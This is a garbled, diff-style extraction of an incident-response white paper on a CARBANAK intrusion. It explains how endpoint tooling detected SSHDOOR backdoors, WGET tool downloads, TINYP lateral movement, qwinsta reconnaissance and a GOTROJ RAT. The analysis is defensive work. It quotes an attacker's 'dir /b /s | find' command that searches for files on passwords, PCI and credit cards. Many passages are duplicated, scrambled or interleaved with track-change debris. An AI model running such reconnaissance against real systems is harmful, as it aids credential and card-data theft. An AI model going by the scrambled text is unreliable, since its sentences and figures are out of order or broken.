+could support it. The detection of attacker activity on these systems within
+RSA NetWitness Endpoint utilized aspects of the attacker actions and toolset
+utilizations that deviated from legitimate installed binary usage. An example
+of this is the usage of the AUDITUNNEL and the SSHDOOR client and server
+binaries. Originally, the attackers placed the SSHDOOR binaries in /usr/bin
+and /usr/sbin as a replacement for the system OpenSSH client and server
+binaries. However, upon the remediation of system ALPHA, the attackers
+utilized the SSHDOOR binaries in the non-standard location of /usr/share/
+man/mann. The initial placement of SSHDOOR was observed by reviewing
+any binaries automatically started as part of systemd or init.d, and had a hash
+value that didn
+t match the one in the RPM package list. These attributes
+are recorded in the IIOCs of RSA NetWitness Endpoint and are shown in the
+SSHDOOR detection in Figure 40.
+RSA NetWitness Endpoint User Guide
+; https://community.rsa.com/docs/DOC-72935
+attacker activity on these systems within RSA NetWitness Endpoint utilized aspects of the
+attacker actions and toolset utilizations that deviated from legitimate installed binary usage. An
+WHITE PAPER
+example of this is the usage of the AUDITUNNEL and the SSHDOOR client and server binaries
+Originally, the attackers placed the SSHDOOR binaries in /usr/bin and /usr/sbin as a
+replacement for the system OpenSSH client and server binaries. However, upon the remediation
+of system ALPHA, the attackers utilized the SSHDOOR binaries in the non-standard location of
+/usr/share/man/mann. The initial placement of SSHDOOR was observed by reviewing any
+binaries automatically started as part of systemd or init.d, and had a hash value that didn
+match the one in the RPM package list. These attributes are recorded in the IIOCs of RSA
+NetWitness Endpoint and are shown in the SSHDOOR detection in Figure 40.
+Figure 40: File Hash Mismatch and system/init.d Autostart in SSHDOOR Detection
+Figure 40: File Hash Mismatch and system/init.d Autostart in SSHDOOR Detection
+Once the attackers moved to a non-standard location, this was easily
+identified,
+as they
+the only common
+system
+binaries
+not running
+Once the attackers
+moved
+to were
+a non-standard
+location,
+thisservice
+was easily
+identified,
+as they were
+the only common
+system
+service
+binaries
+running
+either
+/sbin
+/usr/sbin.
+The aspects of
+The!Shadows!of!Ghosts!
+in either /sbin or /usr/sbin. The aspects of both instances of SSHDOOR use are
+Case!Study:!CARBANAK!
+both instances
+SSHDOOR
+illustrated
+Figure
+illustrated in Figure 41.
+RSA NetWitness Endpoint User Guide
+; https://community.rsa.com/docs/DOC-72935
+Page 4
+41: Malicious
+Binary
+in Non-Standard
+Locations
+and Without
+FigureFigure
+41: Malicious
+Binary Usage
+in Usage
+Non-Standard
+Locations and
+Without Associated
+Packages
+Associated Packages
+In Figure 41, we observe two separate sshd binaries running on the system. As SSH only
+In Figure
+41, we
+separate
+sshd
+running
+on the system.
+requires
+one instance
+ofobserve
+its service
+binary
+running
+at binaries
+a time, this
+is an anomaly.
+Add to this the
+non-standard
+location
+/usr/share/man/mann
+which
+second
+sshd
+As SSH only requires one instance of its service binary runningisatexecuting,
+a time, and the
+fact that this binary cannot be associated with a legitimately installed RPM package, this activity
+this is an
+anomaly.
+Addand
+to this
+the non-standard
+of /usr/share/man/
+immediately
+becomes
+suspect
+warrants
+investigation. location
+The legitimate
+sshd service binary
+process
+also
+highlighted
+running
+from
+/usr/sbin.
+mann in which the second sshd is executing, and the fact that this binary
+cannot be associated with a legitimately installed RPM package, this activity
+Another method of identifying the attacker activity during this engagement involved the
+command
+line arguments
+usedsuspect
+by the attackers.
+Essentially,
+while theThe
+attackers
+couldsshd
+change
+immediately
+becomes
+and warrants
+investigation.
+legitimate
+directory locations, filenames and even hashes, the base functionality of the tools themselves
+service binary process is also highlighted as running from /usr/sbin.
+could not readily or easily be changed. Given that the command line arguments of the tool
+indicated the functionality being utilized, RSA IR analysts zeroed in on the unique command line
+Another
+method
+of identifying
+attacker
+during
+engagement
+arguments
+of the
+tools being
+use by thethe
+attackers.
+Asactivity
+an example,
+thethis
+usage
+of any web address
+or IP address
+inthe
+the command
+command line
+immediately
+suspect
+and reviewed, as
+involved
+linearguments
+argumentsbecame
+used by
+the attackers.
+Essentially,
+shown in Figure 42.
+while the attackers could change directory locations, filenames and even
+hashes, the base functionality of the tools themselves could not readily
+or easily be changed. Given that the command line arguments of the tool
+indicated the functionality being utilized, RSA IR analysts zeroed in on the
+unique command line arguments of the tools being use by the attackers. As
+an example, the usage of any web address or IP address in the command line
+Figure
+42: IP Address,
+Port Switch
+and Port
+in Program
+Arguments
+arguments
+became
+immediately
+suspect
+and Number
+reviewed,
+as shown
+in Figure 42.
+As a follow-up to these findings, RSA IR analysts utilized some of the base functions of the RSA
+NetWitness Endpoint agent in order to gain additional artifacts and information associated with
+known indicators. During this engagement, the directory /usr/share/man/mann was the primary
+working directory for system BRAVO. In using this indicator during scoping investigations, the
+file contents for /usr/share/man/mann were requested from every Linux server in the
+environment. The purpose of this was to determine if this directory was being maliciously used
+on any systems within the environment and to gain additional evidence that may not have
+executed during the agent
+s tenure on the system.
+requires one instance of its service binary running at a time, this is an anomaly. Add to this the
+Deleted:
+non-standard location of /usr/share/man/mann in which the second sshd is executing, and the
+fact that this binary cannot be associated with a legitimately installed RPM package, WHITE
+this activity
+PAPER
+immediately becomes suspect and warrants investigation. The legitimate sshd service binary
+Deleted:
+process is also highlighted as running from /usr/sbin.
+Another method of identifying the attacker activity during this engagement involved the
+command line arguments used by the attackers. Essentially, while the attackers could change
+directory locations, filenames and even hashes, the base functionality of the tools themselves
+could not readily or easily be changed. Given that the command line arguments of the tool
+indicated the functionality being utilized, RSA IR analysts zeroed in on the unique command line
+arguments of the tools being use by the attackers. As an example, the usage of any web address
+or IP address in the command line arguments became immediately suspect and reviewed, as
+shown in Figure 42.
+Deleted:
+Deleted: ,
+Deleted:
+Deleted:
+Comment [
+Figure
+42: IP Address,
+Switchand
+and Port
+in Program
+Arguments
+Figure 42:
+IP Address,
+PortPort
+Switch,
+PortNumber
+Number
+in Program
+Arguments
+As a follow-up to these findings, RSA IR analysts utilized some of the base functions of the RSA
+As a follow-up
+to agent
+theseinfindings,
+IR analysts
+utilized
+some ofassociated
+the basewith
+NetWitness
+Endpoint
+order to gain
+additional
+artifacts
+and information
+known indicators. During this engagement, the directory /usr/share/man/mann was the primary
+functions
+NetWitness
+Endpoint
+agent
+order
+gain
+additional
+working directory for system BRAVO. In using this indicator during scoping investigations, the
+file
+contents
+for /usr/share/man/mann
+were requested
+from every
+Linux server
+in the
+artifacts
+information associated
+with known
+indicators.
+During
+this
+environment. The purpose of this was to determine if this directory was being maliciously used
+engagement,
+directory
+/usr/share/man/mann
+primary
+working
+on any systems within the environment and to gain additional evidence that may not have
+executed
+during
+the agent
+tenure on
+system.
+directory
+for system
+BRAVO.
+Inthe
+using
+this indicator during scoping
+Deleted: ,
+Deleted: an
+Deleted: Ag
+Deleted:
+Deleted:
+Deleted:
+investigations, the file contents for /usr/share/man/mann were requested
+from every Linux server in the environment. The purpose of this was to Page 47
+determine if this directory was being maliciously used on any systems within
+The!Shadows!of!G
+the environment and to gain additional evidence that may not
+! have executed
+Case!Study:!CARB
+during the agent
+s tenure on the system.
+Figure 43: RSA NetWitness Endpoint Request for All Files in Directory /usr/share/
+man/mann
+Figure 43: RSA NetWitness Endpoint Request for All Files in Directory /usr/share/man/mann
+In requesting files for this directory across all systems, analysts are able to determine if the
+In requesting files for this directory across all systems, analysts are able
+are additional tools or malware artifacts used by the attackers within the same directory.
+determine
+there
+are additional
+tools
+or malware
+artifacts executing
+used by
+Additionally, this to
+action
+can if
+also
+determine
+if the
+binaries
+observed
+from this dire
+attackers
+within
+same
+directory.
+Additionally,
+this
+action
+also from the Glob
+exist on any other systems. Both cases are shown in the results of thiscan
+action
+determine
+binaries
+observed executing from this directory exist on any
+Downloads section
+shown ifinthe
+Figure
+other systems. Both cases are shown in the results of this action from the
+Global Downloads section shown in Figure 44.
+WHITE PAPER
+Figure 43: RSA NetWitness Endpoint Request for All Files in Directory /usr/share/man/mann
+In requesting files for this directory across all systems, analysts are able to determine if there
+are additional tools or malware artifacts used by the attackers within the same directory.
+Additionally, this action can also determine if the binaries observed executing from this directory
+exist on any other systems. Both cases are shown in the results of this action from the Global
+Downloads section shown in Figure 44.
+Dele
+Dele
+Figure
+Additional
+Findings
+Mass
+File Download
+Directory /usr/
+Figure
+44:44:
+Additional
+Findings
+via Mass
+File
+Download
+Request forRequest
+Directoryfor
+/usr/share/man/mann
+share/man/mann
+The functionality is also useful in acquiring key host artifacts, such as configuration files and host
+logs, across all systems within the environment and then processing and reviewing them in
+The functionality
+is also
+in acquiring
+keyand
+host
+artifacts,
+such as
+aggregate
+in order to gain
+moreuseful
+contextual
+information
+situational
+awareness.
+configuration files and host logs, across all systems within the environment
+While contextual forensic data within host artifacts could identify some attacker activity, much of
+and then
+processing
+them
+in aggregate
+in order
+gain
+more on the
+the most
+commonly
+utilizedand
+hostreviewing
+forensic data
+either
+was not useful
+or wasto
+available
+hosts
+affected
+during
+this
+engagement.
+While
+aggregate
+analysis
+artifacts,
+such
+as NTFS
+contextual information and situational awareness.
+Page 48
+While contextual forensic data within host artifacts could identify some
+attacker activity, much of the most commonly utilized host forensic data
+either was not useful or was not available on the hosts affected during this
+engagement. While aggregate analysis of artifacts, such as NTFS Master File
+Tables, AmCache, SYSTEM and SOFTWARE Registry Hives, and Windows
+Event Logs, could identify certain aspects of the attackers
+ actions, they were
+consistently ineffective at providing the necessary level of granularity to track
+the attackers
+ actions appropriately. However, using the RSA NetWitness
+Endpoint agent already present on the hosts to provide this critical host data,
+the aforementioned artifacts became force multipliers by providing additional
+context to the actions observed in RSA NetWitness Suite.
+The attackers utilized a specific staging directory on each host in which they
+took any significant action. In order to appear more legitimate to security
+analysts and tools, they utilized the legitimate Microsoft Windows directory
+for 32-bit applications utilizing the Taiwan Chinese language pack on 64-bit
+versions of Windows, C:\Windows\SysWoW64\zh-TW. While this directory
+is a legitimate Windows system directory, no server systems within this
+environment were legitimately utilizing the Taiwan Chinese language directory.
+As such, this became a useful and actionable IOC for scoping and tracking
+any systems with substantial actor activity. An example of attacker use of this
+directory, as observed in RSA NetWitness Endpoint, is shown in Figure 45.
+Dele
+providing the necessary level of granularity to track the attackers
+ actions appropriately.
+Deleted: att
+However, using the RSA NetWitness Endpoint agent already present on the hosts to provide this
+Deleted:
+critical host data, the aforementioned artifacts became force multipliers by providingWHITE
+additional
+PAPER Deleted: Age
+context to the actions observed in RSA NetWitness Suite.
+The attackers utilized a specific staging directory on each host in which they took any significant
+action. In order to appear more legitimate to security analysts and tools, they utilized the
+legitimate Microsoft Windows directory for 32-bit applications utilizing the Taiwan Chinese
+language pack on 64-bit versions of Windows, C:\Windows\SysWoW64\zh-TW. While this
+directory is a legitimate Windows system directory, no server systems within this environment
+were legitimately utilizing the Taiwan Chinese language directory. As such, this became a useful
+and actionable IOC for scoping and tracking any systems with substantial actor activity. An
+example of attacker use of this directory, as observed in RSA NetWitness Endpoint, is shown in
+Figure 45.
+Comment [A
+the overuse
+Deleted:
+Deleted:
+Deleted:
+Deleted:
+Comment [A
+Figure
+C:\Windows\SysWOW64\zh-TW
+WorkingUIAutomationCore
+Directory, UIAutomationCore
+Figure45:
+45: C:\Windows\SysWOW64\zh-TW
+Working Directory,
+WGET Usage, and
+TINYP Download and Renaming
+WGET Usage, and TINYP Download and Renaming
+In Figure 45 above, the usage of the UIAutomationCore.dll.bin WGET binary to download
+attacker tools and the immediate renaming of those tools are shown. This, again, became an
+In Figure 45 above, the usage of the UIAutomationCore.dll.bin WGET binary
+excellent actionable IOC to track adversary activity. The same contextual aspects that were
+utilized
+in the network
+IOC tools
+for WGET
+in Figure 33 are
+also usedof
+here.
+By identifying
+to download
+attacker
+andusage
+the immediate
+renaming
+those
+tools areany
+command executions that utilize a command line argument of 
+http://
+ followed by an IP
+shown. RSA
+This,IRagain,
+became
+anany
+excellent
+actionable
+IOCthe
+toattackers
+track adversary
+address,
+was able
+to identify
+and all instances
+in which
+downloaded
+tools. In hunting for this activity, we use the same methodology used in Section 3.3.1,
+activity. The same contextual aspects that were utilized in the network IOC
+identifying aspects of the activity associated with IIOCs and reviewing those IIOCs for activity.
+case, the
+UIAutomationCore.dll.bin
+WGET
+binary
+download
+is an unsigned
+forthis
+WGET
+usage
+in Figure 33 are also
+used
+here.
+By identifying
+anymodule,
+command
+located within a legitimate Windows directory, communicates to an external source directly to IP
+executions
+that an
+utilize
+a command
+lineIIOCs
+argument
+http://
+followed
+address
+and writes
+executable
+to disk. The
+shown inof
+Figure
+46 reflect
+this activity.
+Deleted:
+Deleted:
+Deleted: is
+Deleted:
+Deleted:
+Deleted: Ins
+Deleted: Ins
+Deleted:
+Deleted: ,
+an IP address, RSA IR was able to identify any and all instances in which
+Deleted:
+Deleted: Ins
+the attackers downloaded tools. In hunting for this activity, we use the
+same methodology used in Section 3.3.1, identifying aspects of the activity
+associated with IIOCs and reviewing those IIOCs for activity. In this case,
+the UIAutomationCore.dll.bin WGET binary download is an unsigned module,
+located within a legitimate Windows directory, communicates to an external
+The!Shadows!of!Ghosts!
+source directly to IP address and writes an executable to! disk. The IIOCs
+Case!Study:!CARBANAK!
+shown in Figure 46 reflect this activity.
+Page 49
+Figure
+46:Representing
+Instant IOCs UIAutomationCore.dll.bin
+Representing UIAutomationCore.dll.bin
+Figure 46:
+IIOCs
+WGET Binary Activity
+WGET Binary Activity
+As stated in the section associated with Table 15, the TINYP binary is a modification of the
+SysInternals PSEXEC remote access utility. Just like PSEXEC, the TINYP binary sends a service
+As stated in the section associated with Table 15, the TINYP binary is a
+binary to the ADMIN$ share (C:\Windows) of the target host. The target host executes this
+modification
+the SysInternals
+PSEXEC
+remote
+access
+utility.
+Just
+like
+service binary,
+and the of
+TINYP
+tool connects
+to that
+service
+binary.
+When
+identifying
+attacker
+PSEXEC,
+the TINYP
+binary sends
+a service
+to the ADMIN$
+share (C:\
+lateral movement
+from
+the perspective
+of the
+targetbinary
+system,
+PSEXESVC.exe
+TINYP service
+binary executes
+the remote
+command
+attacker
+system.
+viewand
+of this
+Windows)
+of the target
+host. requested
+The target by
+host
+executes
+this
+serviceThe
+binary,
+activity in RSA NetWitness Endpoint is illustrated in Figure 47.
+the TINYP tool connects to that service binary. When identifying attacker
+lateral movement from the perspective of the target system, the PSEXESVC.
+exe TINYP service binary executes the remote command requested by the
+attacker system. The view of this activity in RSA NetWitness Endpoint is
+illustrated in Figure 47.
+WHITE PAPER
+Figure 46: IIOCs Representing UIAutomationCore.dll.bin WGET Binary Activity
+As stated in the section associated with Table 15, the TINYP binary is a modification of the
+SysInternals PSEXEC remote access utility. Just like PSEXEC, the TINYP binary sends a service
+binary to the ADMIN$ share (C:\Windows) of the target host. The target host executes this
+service binary, and the TINYP tool connects to that service binary. When identifying attacker
+lateral movement from the perspective of the target system, the PSEXESVC.exe TINYP service
+binary executes the remote command requested by the attacker system. The view of this
+activity in RSA NetWitness Endpoint is illustrated in Figure 47.
+Deleted: Inst
+Deleted:
+Deleted:
+Deleted:
+Deleted:
+Figure 47:
+TINYP
+Execution
+from
+(Red)
+Target
+Perspective
+Figure
+47: TINYP
+Execution
+from Source
+Source (Red)
+andand
+Target
+(Blue)(Blue)
+Perspective
+Figure 47 illustrates the most common use case for the TINYP binary observed: lateral
+Figure
+47via
+illustrates
+the most
+case
+forabove,
+the TINYP
+binary
+movement
+remote command
+shellcommon
+execution.use
+In the
+figure
+the source
+host
+perspective of TINYP execution is shown in the red boxes, while the target host perspective of
+observed:
+lateral
+movement
+remote
+command
+shell
+execution.
+In the
+TINYP execution is shown in the blue boxes. In the box labeled 
+ we see file PSEXESVC.exe
+service binary
+the C:\Windows
+directory,
+which execution
+represents the
+ADMIN$ in the
+figure
+above,being
+thewritten
+sourcetohost
+perspective
+of TINYP
+is shown
+SMB/CIFS network share. Once the service binary is placed in the ADMIN$ share, a Windows
+boxes,
+while
+target
+host
+perspective
+TINYP
+execution
+is shown in
+Registry entry is created in the SYSTEM Registry Hive under the path
+HKLM\SYSTEM\ControlSet001\services\PSEXESVC. Once the service binary is placed on the
+blue boxes. In the box labeled 
+ we see file PSEXESVC.exe service binary
+system, a Windows Service is created to execute the service binary. This is observed in the last
+being written to the C:\Windows directory, which represents the ADMIN$Page 50
+SMB/CIFS network share. Once the service binary is placed in the ADMIN$
+share, a Windows Registry entry is created in the SYSTEM Registry Hive under
+the path HKLM\SYSTEM\ControlSet001\services\PSEXESVC. Once the service
+binary is placed on the system, a Windows Service is created to execute the
+service binary. This is observed in the last item in box 
+ as the Windows
+Services Control Manager services.exe executes the PSEXESVC.exe process.
+Upon the second execution of the TINYP binary, the Windows SYSTEM
+Registry Key is not created, as it already exists on the system, and it is
+important to note that the Registry entry is only created on the first
+execution. This information can be used to determine the first host access
+by this method. On the second execution, represented by the box labeled
+ we see the Windows Local Security Authentication Server binary lsass.
+exe opening the PSEXESVC.exe service process. This is the actor attempting
+to authenticate to the remote system under whatever credentials they have
+acquired. Once authenticated, the process goes into the box labeled 
+where the PSEXESVC.exe service binary executes the Windows Command
+Processor cmd.exe remotely on behalf of the attacker. It is important to note
+that while the calling parent binary on the target system is the TINYP binary
+ps.exe, all actions executed by TINYP will be carried out by the PSEXESVC.
+exe service binary on the target system. Given this, we can identify remote
+command shell execution via PSEXEC for any instance in which PSEXESVC.exe
+Creates Process cmd.exe, which we established was the primary use case for
+this tool in this engagement.
+Knowing this, and knowing that the legitimate PSEXEC utility is often widely
+used by system administrators, the difference in the legitimate PSEXEC and
+the TINYP binaries or their service binaries is particularly useful to incident
+responders. In reviewing the service binaries of both tools in RSA NetWitness
+Endpoint, we identify differences we can use to distinguish between legitimate
+and malicious activity. A view of one difference is shown in Figure 48.
+Deleted:
+Deleted:
+Deleted: ,
+Deleted:
+Deleted:
+Deleted:
+whatever credentials they have acquired. Once authenticated, the process goes into the box
+Deleted:
+labeled 
+ where the PSEXESVC.exe service binary executes the Windows Command Processor
+Deleted: ,
+cmd.exe remotely on behalf of the attacker. It is important to note that while the calling parent
+WHITE PAPERDeleted:
+binary on the target system is the TINYP binary ps.exe, all actions executed by TINYP will be
+carried out by the PSEXESVC.exe service binary on the target system. Given this, we can
+Deleted:
+identify remote command shell execution via PSEXEC for any instance in which PSEXESVC.exe
+Creates Process cmd.exe, which we established was the primary use case for this tool in this
+engagement.
+Knowing this, and knowing that the legitimate PSEXEC utility is often widely used by system
+administrators, the difference in the legitimate PSEXEC and the TINYP binaries or their service
+binaries is particularly useful to incident responders. In reviewing the service binaries of both
+tools in RSA NetWitness Endpoint, we identify differences we can use to distinguish between
+legitimate and malicious activity. A view of one difference is shown in Figure 48.
+Deleted: and
+Deleted:
+Deleted:
+Comment [A6
+Figure
+TINYPvs
+vs.PSEXEC
+PSEXEC Service
+Binaries
+Figure
+48:48:
+TINYP
+Service
+Binaries
+In Figure 48, we see that the PSEXESVC.exe service binary used by TINYP has a valid Microsoft
+Figurethough
+48, weit see
+that40KB
+the smaller
+PSEXESVC.exe
+servicePSEXEC
+binaryservice
+used binary.
+by TINYP
+signature,
+is about
+than the legitimate
+Whilehas
+signature for this binary is valid, even valid information can become an actionable IOC. In this
+aparticular
+valid Microsoft
+signature, though it is about 40KB smaller than the legitimate
+engagement, the version of PSEXEC that was legitimately being used by system
+administrators
+was signed
+byWhile
+SysInternals,
+much like the
+above. With
+this being
+case,
+PSEXEC
+service
+binary.
+the signature
+for figure
+this binary
+is valid,
+eventhe
+valid
+any PSEXESVC service binaries that were Microsoft signed became immediately suspect during
+information
+canAdditionally,
+become an
+IOC.
+this
+particular
+engagement,
+this investigation.
+theactionable
+TINYP binary
+itselfInwas
+unsigned,
+standing
+in stark
+difference from its legitimate PSEXEC counterpart. The differences in these binaries are shown in
+version
+PSEXEC
+that
+legitimately
+being
+used
+system
+administrators
+Figure 49.
+was signed by SysInternals, much like the figure above. With this being the
+case, any PSEXESVC service binaries that were Microsoft signed became
+immediately suspect during this investigation. Additionally, the TINYP binary
+itself was unsigned, standing in stark difference from !its legitimate
+PSEXEC
+Page 51
+The!Shadows!of!Ghosts!
+Case!Study:!CARBANAK!
+counterpart. The differences in these binaries are shown in Figure 49.
+Deleted:
+Deleted:
+Deleted:
+Deleted:
+Deleted:
+Comment [A
+FigureFigure
+49: TINYP
+vs.vs.PSEXEC
+Module
+Differences
+49: TINYP
+PSEXEC
+Module Differences
+Deleted: 
+In Figure 49, we observe the following differences in the TINYP binary and legitimate PSEXEC:
+In Figure 49, we observe the following differences in the TINYP binary and
+1.! The TINYP
+binary resides within a consistent directory of C:\Windows\SysWOW64\zh-TW.
+legitimate
+PSEXEC:
+2.! The TINYP binary has a very recent compile time from the time of initial entry into the
+environment.
+1. The
+TINYP binary resides within a consistent directory of C:\Windows\
+3.! The TINYP binary has no value in the Description section of its header.
+SysWOW64\zh-TW.
+The TINYP binary is not signed.
+Given
+this,
+shouldbinary
+the attackers
+filenamecompile
+or location,
+thisfrom
+can bethe
+hunted
+viewing
+2. The
+TINYP
+has achange
+very recent
+time
+timeforofbyinitial
+only unsigned binaries with no Description values and sorted by compile time to identify binaries
+entrywithin
+into the
+compiled
+closeenvironment.
+proximity to the compile time of this binary.
+3.order
+The TINYP
+no value
+the Description
+of its header.
+to reducebinary
+time to has
+detection
+of thisin
+activity,
+IIOC content section
+for RSA NetWitness
+Endpoint
+has been created and included in the Digital Appendix associated with this document.
+Deleted: Inst
+4. The TINYP binary is not signed.
+The majority of the attackers
+ actions-on-objective were conducted using commands residing
+within, and are functions of, the Windows Command Processor cmd.exe. While there are a
+Given
+this,
+shouldavailable
+the attackers
+change
+filename
+or location,
+cansubset
+be of
+variety of
+commands
+to users at
+the Windows
+Command
+Prompt, athis
+specific
+these commands are internal to the cmd.exe binary and therefore will not cause additional
+hunted
+for by viewing only unsigned binaries with no Description values and
+process creation. These commands are listed in Table 25.
+sorted by compile time to identify binaries compiled within close proximity to
+the compile time of this binary.
+Internal Windows Command Processor Commands
+ASSOC
+MKLINK
+(vista IIOC
+and above)
+order to reduce time to detection of this
+activity,
+content for RSA
+BREAK
+MOVE
+NetWitness
+Endpoint has been created PATH
+and included in the Digital Appendix
+CALL
+CD/CHDIR
+PAUSE
+associated
+with
+this
+document.
+POPD
+COLOR
+PROMPT
+TITLE
+COPY
+PUSHD
+majority of the attackers
+ actions-on-objective
+were conducted using
+DATE
+commands
+residing within, and are functions
+of, the Windows Command
+REN/RENAME
+RD/RMDIR
+Processor
+cmd.exe. While there are a variety
+of commands available to users
+DPATH
+the Windows Command Prompt, a specific
+subset of these commands are
+ECHO
+SETLOCAL
+ENDLOCAL
+SHIFT
+internal
+cmd.exe
+binary
+therefore
+will
+not cause additional process
+ERASE
+START
+EXIT
+TIME
+creation. These commands are listed in Table 25.
+Page 52
+Deleted:
+Deleted: ,
+Deleted: ,
+Deleted:
+Comment [A
+WHITE PAPER
+Internal Windows Command Processor Commands
+ASSOC
+MKLINK (vista and above)
+BREAK
+MOVE
+CALL
+PATH
+CD/CHDIR
+PAUSE
+POPD
+COLOR
+PROMPT
+COPY
+PUSHD
+DATE
+REN/RENAME
+RD/RMDIR
+DPATH
+ECHO
+SETLOCAL
+ENDLOCAL
+SHIFT
+ERASE
+START
+EXIT
+TIME
+TITLE
+FTYPE
+TYPE
+GOTO
+VERIFY
+KEYS
+MD/MKDIR
+Table 25: List of Commands Internal to the Windows Command Processor
+Throughout this engagement, the primary attacker actions consisted of
+traversing directories and outputting files, looking for files that may contain
+additional credentials, database information, internal infrastructure
+documentation, and financial data such as PCI data. The majority of the
+commands utilized consisted of the CD, TYPE, ECHO, DATE and DIR. As none
+of these commands call additional binaries, the attackers would reside almost
+completely within the cmd.exe process for the majority of their host actions.
+Four distinct external commands were utilized by the attackers in traversing
+the host filesystems as part of their internal reconnaissance activities: net.exe,
+ipconfig.exe, find.exe and qwinsta.exe. Knowing this, any time cmd.exe called any
+of these binaries, it was considered suspect activity. However, two of these
+commands were specific to the actor activity and were thereby utilized as a
+high-fidelity indication of attacker activity. The find.exe command searches
+a specified file or piped input for a defined string given in the command
+arguments, much like the grep binary does on Linux and UNIX hosts. The
+attackers would use this binary in the following command string
+dir /b /s 2>nul | find /I 
+phrase
+KEYS
+MD/MKDIR
+Table 25: List of Commands Internal to the Windows Command Processor
+WHITE PAPER
+Throughout this engagement, the primary attacker actions consisted of traversing directories
+and outputting files, looking for files that may contain additional credentials, database
+information, internal infrastructure documentation, and financial data such as PCI data. The
+majority of the commands utilized consisted of the CD, TYPE, ECHO, DATE and DIR. As none of
+these commands call additional binaries, the attackers would reside almost completely within the
+cmd.exe process for the majority of their host actions. Four distinct external commands were
+utilized by the attackers in traversing the host filesystems as part of their internal
+reconnaissance activities: net.exe, ipconfig.exe, find.exe and qwinsta.exe. Knowing this, any
+time cmd.exe called any of these binaries, it was considered suspect activity. However, two of
+these commands were specific to the actor activity and were thereby utilized as a high-fidelity
+indication of attacker activity. The find.exe command searches a specified file or piped input for
+where the 
+phrase
+ would be a string of interest to the attackers, such as
+a defined string given in the command arguments, much like the grep binary does on Linux and
+UNIX
+The attackers
+use this
+binary
+in the
+following command
+string
+PCI,
+hosts.
+Passwords
+andwould
+Credit
+Card.
+This
+command
+would list
+the filenames
+of all files in all subdirectories
+present
+working directory, and then
+dir /bunder
+/s 2>nul
+| find
+phrase
+only display the ones with the required string in the filename. Since the DIR
+where the 
+phrase
+ would be a string of interest to the attackers, such as 
+PCI,
+Passwords
+Credit Card.
+This
+would list
+the filenames
+of all files but
+in allthe
+subdirectories
+under
+command
+is part
+ofcommand
+the Windows
+Command
+Processor,
+FIND command
+the present working directory, and then only display the ones with the required string in the
+is a separate
+binary,
+we observe
+this
+activity
+in RSA
+NetWitness
+filename.
+Since the
+DIR command
+is part
+of the
+Windows
+Command
+Processor, Endpoint
+but the FIND
+command is a separate binary, we observe this activity in RSA NetWitness Endpoint via the
+cmd.exe
+process
+calling
+find.exe
+with
+arguments,
+illustrated
+Figure
+cmd.exe process calling find.exe with arguments, as illustrated in Figure 50.
+Deleted: ,
+Deleted:
+Deleted: ,
+Deleted:
+Deleted:
+Deleted: ,
+Deleted:
+Deleted:
+Deleted:
+Deleted:
+Deleted: ,
+Deleted: ,
+Deleted: .
+Deleted:
+Comment [A
+Figure 50:
+cmd.exe
+Calling
+find.exe
+Piped
+Directory
+Listing
+Figure
+50: cmd.exe
+Calling
+find.exe as
+as aaPiped
+Directory
+Listing
+Search Search
+The qwinsta.exe binary identifies all currently logged-in users via command line session, console
+The qwinsta.exe binary identifies all currently logged-in users via command
+session or RDP session, and displays the user logged in and the type of session they are
+associated
+with.console
+The attackers
+would
+thissession,
+for two primary
+functions the
+on the
+majority
+of hosts
+line session,
+session
+oruse
+and displays
+user
+logged
+they interacted with. The first would be to check other users logged in to the system as a
+in and the
+type of ifsession
+theywas
+arebeing
+associated
+would
+monitor
+to determine
+their activity
+detected,with.
+and also
+to attackers
+identify administrative
+users logged in whose credentials they could harvest from memory. The second was to identify
+this
+primary
+functions
+majority
+hosts
+they
+interacted
+what systems users were engaging the system with, and what method of access they were
+with. The first would be to check other users logged in to the system as a
+Page 53
+monitor to determine if their activity was being detected, and also to identify
+administrative users logged in whose credentials they could harvest from
+memory. The second was to identify what systems users were engaging
+the system with, and what method of access they were using. This gave the
+attackers additional information with which to map the internal systems
+The!Shadows!of!Ghosts!
+and networks. Additionally, the attackers were the only
+executing this
+! users Case!Study:!CARBANAK!
+command anywhere within the environment, as the system
+administrators
+using. This gave the attackers additional information with which to map the internal systems and
+did not
+use this command
+in any
+their
+Thisanywhere
+networks.
+Additionally,
+the attackers
+wereofthe
+onlyadministrative
+users executingfunctions.
+this command
+within
+the environment,
+as the allowed
+system administrators
+did not
+use this
+command
+in any of their
+contextual
+information
+RSA IR to utilize
+these
+IOCs
+with significant
+administrative functions. This contextual information allowed RSA IR to utilize these IOCs with
+effectiveness
+during
+thethe
+course
+ofofthe
+Anexample
+exampleofofthis
+this
+significant
+effectiveness
+during
+course
+theengagement.
+engagement. An
+activity is
+shown
+in Figure
+activity
+is shown
+in Figure 51.
+Deleted: log
+Deleted: ,
+Deleted:
+Deleted:
+Deleted:
+Delet
+Delet
+Delet
+Delet
+Figure
+qwinsta.exe
+BeingCalled
+Called
+cmd.exe
+Figure
+qwinsta.exe Being
+byby
+cmd.exe
+The GOTROJ RAT used by the attackers in this engagement was primarily
+The GOTROJ RAT used by the attackers in this engagement was primarily utilized by installing it
+installing
+it asthe
+a Windows
+starting
+the service
+andTrojan
+then was
+as a utilized
+Windowsby
+Service,
+starting
+service andService,
+then deleting
+the service
+once the
+executing
+successfully
+in memory.
+Evidence
+thisexecuting
+activity, assuccessfully
+observed in Application
+Tracking
+deleting
+the service
+once the
+Trojanofwas
+in memory.
+within RSA NetWitness Endpoint, is shown in Figure 52 and Figure 53.
+Evidence of this activity, as observed in Application Tracking within RSA
+NetWitness Endpoint, is shown in Figure 52 and Figure 53.
+Figure 52: Installation of GOTROJ RAT Via Windows Service
+Comm
+refere
+refere
+unde
+Delet
+Delet
+Comm
+WHITE PAPER
+Figure
+Figure 51:
+51: qwinsta.exe
+qwinsta.exe Being
+Being Called
+Called by
+by cmd.exe
+cmd.exe
+The GOTROJ
+GOTROJ RAT
+RAT used
+used by
+by the
+the attackers
+attackers in
+in this
+this engagement
+engagement was
+was primarily
+primarily utilized
+utilized by
+by installing
+installing it
+as a
+a Windows
+Windows Service,
+Service, starting
+starting the
+the service
+service and
+and then
+then deleting
+deleting the
+the service
+service once
+once the
+the Trojan
+Trojan was
+executing
+executing successfully
+successfully in
+in memory.
+memory. Evidence
+Evidence of
+of this
+this activity,
+activity, as
+as observed
+observed in
+in Application
+Application Tracking
+Tracking
+within
+within RSA
+RSA NetWitness
+NetWitness Endpoint,
+Endpoint, is
+is shown
+shown in
+in Figure
+Figure 52
+52 and
+and Figure
+Figure 53.
+Comment
+Comment [A
+reference GO
+reference
+referenced
+referenced e
+understood
+understood
+Deleted: ,,
